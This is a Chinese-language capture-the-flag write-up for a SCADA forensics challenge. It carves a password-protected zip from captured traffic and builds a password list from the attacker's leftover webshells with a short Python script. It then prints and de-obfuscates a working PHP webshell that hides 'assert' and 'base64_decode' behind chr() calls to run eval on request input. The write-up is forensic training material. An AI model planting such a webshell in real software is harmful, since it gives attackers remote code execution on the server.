题目地址
https://game.fengtaisec.com/#/startQuestions/9
题目分析
根据情报得知工控现场发现某SCADA系统被黑客攻破,附件为黑客在目录留下的文件和当时时间段捕获到的一部分流量包,你能根据这些信息分析出蛛丝马迹来么flag形式为 flag{}。
关键字:捕获到的一部分流量包,你能根据这些信息分析 目录留下的文件
解题思路
下载文件,有一个upload目录 ,里面全是shell
还有一个流量包 打开
查找 flag、png、webshell等关键字,在查找webshell关键字时发现有个流量包里有个webshell.php,数据包里还有 pk开头的,说明存在zip文件
直接原始数据显示,将蓝色部分复制
使用010 Editor 新建一个16进制文件,将原始数据导入,保存为hack.zip文件
文件加密了需要解密,通过zip爆破工具进行暴力破解,爆破无果
upload目录下有很多php文件,获取upload文件中每个webshell的登陆密码进行爆破
python脚本收集脚本
import reimport os passwd=[]s= os.listdir('./upload')for i in s: f = open('upload/'+i,'r').read() find=re.findall(r"\[(.*?)]",f) find_1=' '.join(find) passwd.append(find_1)p = open('passwd.txt', 'w')for lb in passwd: p.write(lb + '\n')
得到密码文件
使用zip爆破工具进行字典攻击 使用我们收集到的字典
爆破出解压密码为:7b8b965ad4bca
解压得到一个webshell.php,直接运行没有flag,需要进行审计
<?php error_reporting(0); @$c = array("1JFUVVFU1RbJzlhNzJjM","2Q1ZTc0ZjYwNTFiYjNiMzU","5MGZhOTMxOWZlJ10pOw","MGZhOTMxOWZlJ","MGZhOTMxOWZlJ");@$str="ZXZhbCgkX";@$o0o00o00o00o0o0 = chr(97).chr(115).chr(115).chr(101).chr(114).chr(116);#$o0o00o00o00o0o0 = assert@$ooo00o0o0o0o0o0 = chr(98).chr(97).chr(115).chr(101).chr(54).chr(52).chr(95).chr(100).chr(101).chr(99).chr(111).chr(100).chr(101);#$ooo00o0o0o0o0o0 = base64_decode@$count = 0;for($x=0;$x<=9;$x++){#0,1,2 if (in_array($x, @$c)){ @$str=@$str.@$c[@$count];#拼接三次 if ($count == 2)#循环三次 { @$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str)); #assert(base64_decode(ZXZhbCgkX1JFUVVFU1RbJzlhNzJjM2Q1ZTc0ZjYwNTFiYjNiMzU5MGZhOTMxOWZlJ10pOw)) #assert(base64_decode(eval($_REQUEST['9a72c3d5e74f6051bb3b3590fa9319fe']);)) } @$count++; }}?>
直接echo输出@$o0o00o00o00o0o0(@$ooo00o0o0o0o0o0(@$str))
得到
@assert(@base64_decode(@ZXZhbCgkX1JFUVVFU1RbJzlhNzJjM2Q1ZTc0ZjYwNTFiYjNiMzU5MGZhOTMxOWZlJ10pOw))
进行base64解密 得到flag
base64在线解密:https://www.qqxiuzi.cn/bianma/base64.htm
flag{9a72c3d5e74f6051bb3b3590fa9319fe}